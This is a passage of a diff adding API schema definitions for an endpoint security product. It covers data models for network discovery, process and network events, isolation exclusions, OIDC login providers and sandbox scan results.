+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  MinimalFirewallPolicy:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  MinimalPolicy:
+    properties:
+      agent_count:
+        readOnly: true
+        title: Agent count
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  MiscellaneousPermissions:
+    properties:
+      api_documentation:
+        title: Api documentation
+        type: boolean
+      product_documentation:
+        title: Product documentation
+        type: boolean
+    required:
+      - api_documentation
+      - product_documentation
+    type: object
+  MissingProcess:
+    properties:
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      pid:
+        minLength: 1
+        title: Pid
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+    required:
+      - image_name
+      - pid
+      - process_unique_id
+    type: object
+  Module:
+    properties:
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      hashes_requested:
+        title: Hashes requested
+        type: boolean
+      linux_module_path:
+        minLength: 1
+        title: Linux module path
+        type: string
+      module_base_addr:
+        minLength: 1
+        title: Module base addr
+        type: string
+      module_name:
+        minLength: 1
+        title: Module name
+        type: string
+      module_path:
+        minLength: 1
+        title: Module path
+        type: string
+      module_regions:
+        $ref: '#/definitions/ModuleRegion'
+      module_size:
+        title: Module size
+        type: integer
+      region_type:
+        minLength: 1
+        title: Region type
+        type: string
+      signature_requested:
+        title: Signature requested
+        type: boolean
+    required:
+      - binaryinfo
+      - hashes_requested
+      - linux_module_path
+      - module_base_addr
+      - module_name
+      - module_path
+      - module_regions
+      - module_size
+      - region_type
+      - signature_requested
+    type: object
+  ModuleRegion:
+    properties:
+      addr:
+        minLength: 1
+        title: Addr
+        type: string
+      perms:
+        minLength: 1
+        title: Perms
+        type: string
+      size:
+        title: Size
+        type: integer
+    required:
+      - addr
+      - perms
+      - size
+    type: object
+  MonitoringPermissions:
+    properties:
+      can_see_license_info:
+        title: Can see license info
+        type: boolean
+      can_see_logs:
+        title: Can see logs
+        type: boolean
+      can_use_monitoring_ui:
+        title: Can use monitoring ui
+        type: boolean
+    required:
+      - can_see_license_info
+      - can_see_logs
+      - can_use_monitoring_ui
+    type: object
+  NDAsset:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      acknowledged:
+        enum:
+          - seen
+          - to_check
+        title: Acknowledged
+        type: string
+      agent:
+        $ref: '#/definitions/__DataAgentSerializer'
+      agent_status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+          - unknown
+        readOnly: true
+        title: Agent status
+        type: string
+      compatible:
+        title: Compatible
+        type: boolean
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      detected_agent:
+        $ref: '#/definitions/MinimalAgentInfo'
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      gateway_ipaddress:
+        minLength: 1
+        title: Gateway ipaddress
+        type: string
+      gateway_macaddress:
+        minLength: 1
+        title: Gateway macaddress
+        type: string
+      hardware_address:
+        minLength: 1
+        title: Hardware address
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ip:
+        minLength: 1
+        title: Ip
+        type: string
+      last_seen:
+        format: date-time
+        title: Last seen
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      netbios_groups:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      netbios_name:
+        minLength: 1
+        title: Netbios name
+        type: string
+      observation_count:
+        title: Observation count
+        type: integer
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      oui_vendor:
+        minLength: 1
+        title: Oui vendor
+        type: string
+      random_hardware_address:
+        title: Random hardware address
+        type: boolean
+      rmDNS_additional_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      rmDNS_names:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      subnet_id:
+        minLength: 1
+        title: Subnet id
+        type: string
+      subnet_name:
+        minLength: 1
+        title: Subnet name
+        type: string
+    required:
+      - hardware_address
+      - ip
+    type: object
+  NamedPipe:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      desired_access:
+        title: Desired access
+        type: integer
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      inbound_quota:
+        title: Inbound quota
+        type: integer
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      maximum_instances:
+        title: Maximum instances
+        type: integer
+      named_pipe_type:
+        title: Named pipe type
+        type: integer
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      outbound_quota:
+        title: Outbound quota
+        type: integer
+      pipe_name:
+        minLength: 1
+        title: Pipe name
+        type: string
+      pipe_operation:
+        minLength: 1
+        title: Pipe operation
+        type: string
+      platform:
+        minLength: 1
+        title: Platform
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      source_process_unique_id:
+        minLength: 1
+        title: Source process unique id
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - desired_access
+      - event_id
+      - groups
+      - id
+      - image_name
+      - inbound_quota
+      - log_type
+      - maximum_instances
+      - named_pipe_type
+      - outbound_quota
+      - pipe_name
+      - pipe_operation
+      - platform
+      - process_unique_id
+      - source_process_unique_id
+      - stacktrace
+      - stacktrace_minimal
+      - tenant
+      - utc_time
+    type: object
+  NetInterface:
+    properties:
+      addresses_ipv4:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      addresses_ipv6:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      agent:
+        $ref: '#/definitions/SimpleAgent'
+      guid:
+        readOnly: true
+        title: Guid
+        type: string
+        x-nullable: true
+      hardware_address:
+        readOnly: true
+        title: Hardware address
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      is_favorite_interface:
+        readOnly: true
+        title: Is favorite interface
+        type: boolean
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      oui_vendor:
+        readOnly: true
+        title: Oui vendor
+        type: string
+        x-nullable: true
+    required:
+      - agent
+    type: object
+  NetWDiscovery:
+    properties:
+      auto_scan_interval:
+        minimum: 1
+        title: Auto scan interval
+        type: integer
+      enabled:
+        default: false
+        title: Enabled
+        type: boolean
+    required:
+      - auto_scan_interval
+    type: object
+  Network:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      conn_type:
+        title: Conn type
+        type: integer
+      connection_closed_time:
+        format: date-time
+        title: Connection closed time
+        type: string
+      connection_start_time:
+        format: date-time
+        title: Connection start time
+        type: string
+      connection_successful:
+        title: Connection successful
+        type: boolean
+      connection_unique_id:
+        minLength: 1
+        title: Connection unique id
+        type: string
+      daddr:
+        minLength: 1
+        title: Daddr
+        type: string
+      daddr_geoip:
+        $ref: '#/definitions/GeoIP'
+      direction:
+        minLength: 1
+        title: Direction
+        type: string
+      dnames:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      dport:
+        title: Dport
+        type: integer
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      incoming_bytes:
+        title: Incoming bytes
+        type: integer
+      incoming_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+      initiated:
+        title: Initiated
+        type: boolean
+      is_ipv6:
+        title: Is ipv6
+        type: boolean
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      outgoing_bytes:
+        title: Outgoing bytes
+        type: integer
+      outgoing_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+      pid:
+        title: Pid
+        type: integer
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      saddr:
+        minLength: 1
+        title: Saddr
+        type: string
+      saddr_geoip:
+        $ref: '#/definitions/GeoIP'
+      sport:
+        title: Sport
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - conn_type
+      - connection_closed_time
+      - connection_start_time
+      - connection_successful
+      - connection_unique_id
+      - daddr
+      - daddr_geoip
+      - direction
+      - dnames
+      - dport
+      - event_id
+      - groups
+      - id
+      - image_name
+      - incoming_bytes
+      - incoming_protocol
+      - initiated
+      - is_ipv6
+      - kind
+      - log_type
+      - outgoing_bytes
+      - outgoing_protocol
+      - pid
+      - process_unique_id
+      - saddr
+      - saddr_geoip
+      - sport
+      - tenant
+      - timestamp
+      - username
+    type: object
+  NetworkDeviceDetails:
+    properties:
+      ip:
+        minLength: 1
+        title: Ip
+        type: string
+        x-nullable: true
+      last_connection_detected_date:
+        format: date-time
+        readOnly: true
+        title: Last connection detected date
+        type: string
+      last_connection_detected_job_instance_id:
+        format: uuid
+        readOnly: true
+        title: Last connection detected job instance id
+        type: string
+      mac_addr:
+        maxLength: 17
+        minLength: 1
+        title: Mac addr
+        type: string
+      netbios_groups:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Netbios groups
+          type: string
+        type: array
+      netbios_name:
+        title: Netbios name
+        type: string
+        x-nullable: true
+      oui_vendor:
+        title: Oui vendor
+        type: string
+        x-nullable: true
+      random_hardware_address:
+        title: Random hardware address
+        type: boolean
+      rmDNS_additional_records:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: RmDNS additional records
+          type: string
+        type: array
+      rmDNS_names:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: RmDNS names
+          type: string
+        type: array
+      subnets:
+        items:
+          $ref: '#/definitions/MicroSubnet'
+        readOnly: true
+        type: array
+    required:
+      - mac_addr
+    type: object
+  NetworkDiscovery:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      agent_status:
+        description: Status of the detected machine's agent. Can be a value of `AgentStatus` or `unknown`.
+        minLength: 1
+        title: Agent status
+        type: string
+      compatible:
+        title: Compatible
+        type: boolean
+      detected_agent:
+        description: Agent of the detected machine, if any
+        items:
+          $ref: '#/definitions/ReducedAgent'
+        maxItems: 1
+        type: array
+      gateway_ipaddress:
+        minLength: 1
+        title: Gateway ipaddress
+        type: string
+      gateway_macaddress:
+        minLength: 1
+        title: Gateway macaddress
+        type: string
+      hardware_address:
+        description: MAC address of the detected machine
+        minLength: 1
+        title: Hardware address
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ip:
+        description: IP address of the detected machine
+        minLength: 1
+        title: Ip
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      netbios_groups:
+        items:
+          description: NetBIOS groups of the detected machine
+          minLength: 1
+          type: string
+        type: array
+      netbios_name:
+        description: NetBIOS name of the detected machine
+        minLength: 1
+        title: Netbios name
+        type: string
+      os_fingerprint:
+        minLength: 1
+        title: Os fingerprint
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      oui_vendor:
+        description: OUI vendor of the detected machine
+        minLength: 1
+        title: Oui vendor
+        type: string
+      random_hardware_address:
+        description: Is the hardware address of the detected machine random?
+        title: Random hardware address
+        type: boolean
+      rmDNS_additional_records:
+        items:
+          description: Additional reverse DNS records of the detected machine
+          minLength: 1
+          type: string
+        type: array
+      rmDNS_names:
+        items:
+          description: Reverse DNS names of the detected machine
+          minLength: 1
+          type: string
+        type: array
+      subnet_id:
+        minLength: 1
+        title: Subnet id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - agent_status
+      - compatible
+      - detected_agent
+      - gateway_ipaddress
+      - gateway_macaddress
+      - hardware_address
+      - id
+      - ip
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - netbios_groups
+      - netbios_name
+      - os_fingerprint
+      - ostype
+      - oui_vendor
+      - random_hardware_address
+      - rmDNS_additional_records
+      - rmDNS_names
+      - subnet_id
+      - tenant
+    type: object
+  NetworkDiscoveryConfig:
+    properties:
+      auto_scan_interval:
+        default: 23
+        title: Auto scan interval
+        type: integer
+      connector_type:
+        enum:
+          - assemblyline
+          - base
+          - cape
+          - connector_misp
+          - export
+          - export_elastic
+          - export_s3
+          - export_secops
+          - export_splunk
+          - glimps
+          - irma
+          - ldap_auth
+          - orion
+          - proxy
+          - thehive
+          - virustotal
+        readOnly: true
+        title: Connector type
+        type: string
+      enable_auto_scan:
+        default: false
+        title: Enable auto scan
+        type: boolean
+      enable_os_fingerprinting:
+        default: false
+        title: Enable os fingerprinting
+        type: boolean
+      exclude_domestic_subnets:
+        default: true
+        title: Exclude domestic subnets
+        type: boolean
+      exclude_low_populated:
+        default: false
+        title: Exclude low populated
+        type: boolean
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      last_modified:
+        format: date-time
+        readOnly: true
+        title: Last modified
+        type: string
+      last_modifier:
+        minLength: 1
+        readOnly: true
+        title: Last modifier
+        type: string
+      low_populated_limit:
+        default: 5
+        title: Low populated limit
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      time_to_forget:
+        default: 14
+        title: Time to forget
+        type: integer
+      type:
+        default: network_discovery
+        enum:
+          - network_discovery
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - name
+    type: object
+    x-nullable: true
+  NetworkDiscoveryParam:
+    properties:
+      enable_os_fingerprinting:
+        default: false
+        title: Enable os fingerprinting
+        type: boolean
+      ignore_randomized_macaddr:
+        default: false
+        title: Ignore randomized macaddr
+        type: boolean
+      ip:
+        format: ipv4
+        minLength: 1
+        title: Ip
+        type: string
+      prefix_length:
+        maximum: 32
+        minimum: 8
+        title: Prefix length
+        type: integer
+      subnet_id:
+        minLength: 1
+        title: Subnet id
+        type: string
+      use_nbtscan:
+        title: Use nbtscan
+        type: boolean
+      use_rmDNS:
+        title: Use rmdns
+        type: boolean
+    required:
+      - ip
+      - prefix_length
+      - use_nbtscan
+      - use_rmDNS
+    type: object
+  NetworkIsolationExclusion:
+    properties:
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      local_application:
+        title: Local application
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      network_exclusion:
+        $ref: '#/definitions/NetworkIsolationNetworkBasedExclusion'
+      policy:
+        title: Policy
+        type: string
+    required:
+      - policy
+    type: object
+  NetworkIsolationIpExclusion:
+    properties:
+      fqdn:
+        maxLength: 255
+        title: Fqdn
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      ip_address:
+        minLength: 1
+        title: Ip address
+        type: string
+        x-nullable: true
+      local_exclusion:
+        title: Local exclusion
+        type: string
+        x-nullable: true
+      mask:
+        maximum: 2147483647
+        minimum: 0
+        title: Mask
+        type: integer
+        x-nullable: true
+      remote_exclusion:
+        title: Remote exclusion
+        type: string
+        x-nullable: true
+      representation:
+        maxLength: 1024
+        minLength: 1
+        title: Representation
+        type: string
+      type:
+        enum:
+          - CIDR
+          - FQDN
+          - IP
+        title: Type
+        type: string
+    type: object
+  NetworkIsolationNetworkBasedExclusion:
+    properties:
+      direction:
+        enum:
+          - Both
+          - In
+          - Out
+        title: Direction
+        type: string
+      local_ip:
+        $ref: '#/definitions/NetworkIsolationIpExclusion'
+      local_ports:
+        items:
+          $ref: '#/definitions/NetworkIsolationPortExclusion'
+        type: array
+      protocol:
+        enum:
+          - ALL
+          - ICMP
+          - IPV6_ICMP
+          - TCP
+          - UDP
+        title: Protocol
+        type: string
+      remote_ip:
+        $ref: '#/definitions/NetworkIsolationIpExclusion'
+      remote_ports:
+        items:
+          $ref: '#/definitions/NetworkIsolationPortExclusion'
+        type: array
+    type: object
+  NetworkIsolationPortExclusion:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      local_exclusion:
+        title: Local exclusion
+        type: string
+        x-nullable: true
+      origin:
+        maximum: 65535
+        minimum: 0
+        title: Origin
+        type: integer
+      remote_exclusion:
+        title: Remote exclusion
+        type: string
+        x-nullable: true
+      representation:
+        maxLength: 1024
+        minLength: 1
+        title: Representation
+        type: string
+      to:
+        maximum: 65535
+        minimum: 0
+        title: To
+        type: integer
+        x-nullable: true
+      type:
+        enum:
+          - PORT
+          - RANGE
+        title: Type
+        type: string
+        x-nullable: true
+    required:
+      - origin
+    type: object
+  NetworkListen:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      address:
+        minLength: 1
+        title: Address
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      port:
+        title: Port
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      transport_protocol:
+        minLength: 1
+        title: Transport protocol
+        type: string
+      transport_protocol_number:
+        title: Transport protocol number
+        type: integer
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - address
+      - agent
+      - groups
+      - id
+      - log_type
+      - pid
+      - port
+      - process_image_path
+      - process_unique_id
+      - tenant
+      - transport_protocol
+      - transport_protocol_number
+      - utc_time
+    type: object
+  NetworkShare:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      caption:
+        minLength: 1
+        title: Caption
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      installdate:
+        minLength: 1
+        title: Installdate
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      sharetype:
+        minLength: 1
+        title: Sharetype
+        type: string
+      sharetypeval:
+        minLength: 1
+        title: Sharetypeval
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - caption
+      - description
+      - id
+      - installdate
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - path
+      - sharetype
+      - sharetypeval
+      - status
+      - tenant
+    type: object
+  NetworkSniffer:
+    properties:
+      capture_all_interfaces:
+        default: false
+        title: Capture all interfaces
+        type: boolean
+      datasize:
+        minimum: 0
+        title: Datasize
+        type: integer
+        x-nullable: true
+      packets:
+        minimum: 0
+        title: Packets
+        type: integer
+        x-nullable: true
+      seconds:
+        minimum: 0
+        title: Seconds
+        type: integer
+        x-nullable: true
+    type: object
+  NewChat:
+    properties:
+      context_info:
+        $ref: '#/definitions/AppLocationCreate'
+      enforce_tool:
+        enum:
+          - agent_list
+          - analyze_security_event
+          - driver_block_list
+          - ioc
+          - powershell
+          - security_event_list
+          - sigma
+          - threat_list
+          - yara
+        title: Enforce tool
+        type: string
+      message:
+        minLength: 1
+        title: Message
+        type: string
+      public:
+        default: false
+        title: Public
+        type: boolean
+      title:
+        title: Title
+        type: string
+    required:
+      - message
+    type: object
+  NewChatRequest:
+    properties:
+      context_info:
+        $ref: '#/definitions/AppLocationCreate'
+      enforce_tool:
+        enum:
+          - agent_list
+          - analyze_security_event
+          - driver_block_list
+          - ioc
+          - powershell
+          - security_event_list
+          - sigma
+          - threat_list
+          - yara
+        title: Enforce tool
+        type: string
+      message:
+        minLength: 1
+        title: Message
+        type: string
+    required:
+      - message
+    type: object
+  NewConversation:
+    properties:
+      message:
+        title: Message
+        type: string
+    required:
+      - message
+    type: object
+  NewThreatAggregation:
+    properties:
+      closed:
+        default: true
+        title: Closed
+        type: boolean
+      false_positive:
+        default: true
+        title: False positive
+        type: boolean
+    type: object
+  NixTutorial:
+    properties:
+      create_nix_service_file:
+        minLength: 1
+        title: Create nix service file
+        type: string
+      hurukai_config:
+        minLength: 1
+        title: Hurukai config
+        type: string
+      install_agent_files:
+        minLength: 1
+        title: Install agent files
+        type: string
+        x-nullable: true
+      switch_config:
+        minLength: 1
+        title: Switch config
+        type: string
+    required:
+      - create_nix_service_file
+      - hurukai_config
+      - install_agent_files
+      - switch_config
+    type: object
+  Node:
+    properties:
+      alertCount:
+        title: Alertcount
+        type: integer
+      childProcessCount:
+        title: Childprocesscount
+        type: integer
+      childProcessCountConfidence:
+        minLength: 1
+        title: Childprocesscountconfidence
+        type: string
+      class_name:
+        minLength: 1
+        title: Class name
+        type: string
+      connectionCount:
+        title: Connectioncount
+        type: integer
+      dnsResolutionCount:
+        title: Dnsresolutioncount
+        type: integer
+      fileDownloadCount:
+        title: Filedownloadcount
+        type: integer
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      injectedThreadCount:
+        title: Injectedthreadcount
+        type: integer
+      libraryLoadCount:
+        title: Libraryloadcount
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      namedPipeCount:
+        title: Namedpipecount
+        type: integer
+      parents:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      powershellCount:
+        title: Powershellcount
+        type: integer
+      registryCount:
+        title: Registrycount
+        type: integer
+      signed:
+        title: Signed
+        type: boolean
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - alertCount
+      - childProcessCount
+      - childProcessCountConfidence
+      - class_name
+      - connectionCount
+      - dnsResolutionCount
+      - fileDownloadCount
+      - id
+      - injectedThreadCount
+      - libraryLoadCount
+      - name
+      - namedPipeCount
+      - parents
+      - powershellCount
+      - registryCount
+      - signed
+      - timestamp
+      - type
+    type: object
+  Note:
+    properties:
+      content:
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      resource:
+        default: threat
+        enum:
+          - threat
+        title: Resource
+        type: string
+      resource_id:
+        minLength: 1
+        title: Resource id
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - resource_id
+      - title
+    type: object
+  NoteRequestBody:
+    properties:
+      content:
+        minLength: 1
+        title: Content
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - content
+      - title
+    type: object
+  NoteResponse:
+    properties:
+      content:
+        title: Content
+        type: string
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      resource:
+        default: threat
+        enum:
+          - threat
+        title: Resource
+        type: string
+      resource_id:
+        minLength: 1
+        title: Resource id
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - title
+    type: object
+  OIDCActiveProvider:
+    properties:
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      slug:
+        format: slug
+        maxLength: 100
+        minLength: 1
+        pattern: ^[-a-zA-Z0-9_]+$
+        title: Slug
+        type: string
+    required:
+      - name
+      - slug
+    type: object
+  OIDCProvider:
+    properties:
+      auth_method:
+        enum:
+          - client_secret_basic
+          - client_secret_post
+        title: Auth method
+        type: string
+      callback_url:
+        maxLength: 500
+        minLength: 1
+        title: Callback url
+        type: string
+      client_id:
+        minLength: 1
+        title: Client id
+        type: string
+      client_secret:
+        minLength: 1
+        title: Client secret
+        type: string
+        x-nullable: true
+      debug:
+        title: Debug
+        type: boolean
+      default_role:
+        title: Default role
+        type: string
+        x-nullable: true
+      enabled:
+        title: Enabled
+        type: boolean
+      groups_claim:
+        minLength: 1
+        title: Groups claim
+        type: string
+        x-nullable: true
+      id:
+        readOnly: true
+        title: ID
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      pkce:
+        title: Pkce
+        type: boolean
+      pkce_method:
+        enum:
+          - S256
+        title: Pkce method
+        type: string
+      provider_group:
+        items:
+          $ref: '#/definitions/GroupsOIDCProvider'
+        type: array
+        x-nullable: true
+      server_metadata_url:
+        format: uri
+        maxLength: 500
+        minLength: 1
+        title: Server metadata url
+        type: string
+      slug:
+        format: slug
+        maxLength: 100
+        minLength: 1
+        pattern: ^[-a-zA-Z0-9_]+$
+        title: Slug
+        type: string
+      ssl_cacert:
+        format: uri
+        readOnly: true
+        title: Ssl cacert
+        type: string
+        x-nullable: true
+      ssl_cacert_filename:
+        minLength: 1
+        title: Ssl cacert filename
+        type: string
+        x-nullable: true
+      ssl_cert:
+        format: uri
+        readOnly: true
+        title: Ssl cert
+        type: string
+        x-nullable: true
+      ssl_cert_filename:
+        minLength: 1
+        title: Ssl cert filename
+        type: string
+        x-nullable: true
+      ssl_key:
+        format: uri
+        readOnly: true
+        title: Ssl key
+        type: string
+        x-nullable: true
+      ssl_key_filename:
+        minLength: 1
+        title: Ssl key filename
+        type: string
+        x-nullable: true
+    required:
+      - client_id
+      - name
+      - server_metadata_url
+    type: object
+  OSTypeCount:
+    properties:
+      linux:
+        title: Linux
+        type: integer
+      macos:
+        title: Macos
+        type: integer
+      total:
+        title: Total
+        type: integer
+      unknown:
+        title: Unknown
+        type: integer
+      windows:
+        title: Windows
+        type: integer
+    required:
+      - linux
+      - macos
+      - total
+      - windows
+    type: object
+  OUICodes:
+    properties:
+      codes:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - codes
+    type: object
+  OriginStack:
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_current:
+        title: Is current
+        type: boolean
+      is_supervisor:
+        title: Is supervisor
+        type: boolean
+      is_tenant:
+        title: Is tenant
+        type: boolean
+      name:
+        minLength: 1
+        title: Name
+        type: string
+        x-nullable: true
+    required:
+      - id
+      - is_current
+      - is_supervisor
+      - is_tenant
+    type: object
+  OrionAV:
+    properties:
+      antivirus_name:
+        minLength: 1
+        title: Antivirus name
+        type: string
+      infected:
+        title: Infected
+        type: boolean
+      threat_name:
+        minLength: 1
+        title: Threat name
+        type: string
+    required:
+      - antivirus_name
+      - infected
+      - threat_name
+    type: object
+  OrionDynamicScan:
+    properties:
+      files:
+        $ref: '#/definitions/OrionDynamicScanEntry'
+      network:
+        $ref: '#/definitions/OrionDynamicScanEntry'
+      persistence:
+        $ref: '#/definitions/OrionDynamicScanEntry'
+      processes:
+        $ref: '#/definitions/OrionDynamicScanEntry'
+      system:
+        $ref: '#/definitions/OrionDynamicScanEntry'
+    required:
+      - files
+      - network
+      - persistence
+      - processes
+      - system
+    type: object
+  OrionDynamicScanEntry:
+    properties:
+      description:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      score:
+        title: Score
+        type: integer
+    required:
+      - description
+      - score
+    type: object
+  OrionRule:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      format:
+        minLength: 1
+        title: Format
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      risk:
+        minLength: 1
+        title: Risk
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - description
+      - format
+      - name
+      - risk
+      - type
+    type: object
+  OrionScan:
+    properties:
+      antivirus:
+        $ref: '#/definitions/OrionAV'
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      dynamic:
+        $ref: '#/definitions/OrionDynamicScan'
+      external_link:
+        minLength: 1
+        title: External link
+        type: string
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      networks:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      report_id:
+        minLength: 1
+        title: Report id
+        type: string
+      risk:
+        minLength: 1
+        title: Risk
+        type: string
+      rules_hits:
+        $ref: '#/definitions/OrionRule'
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
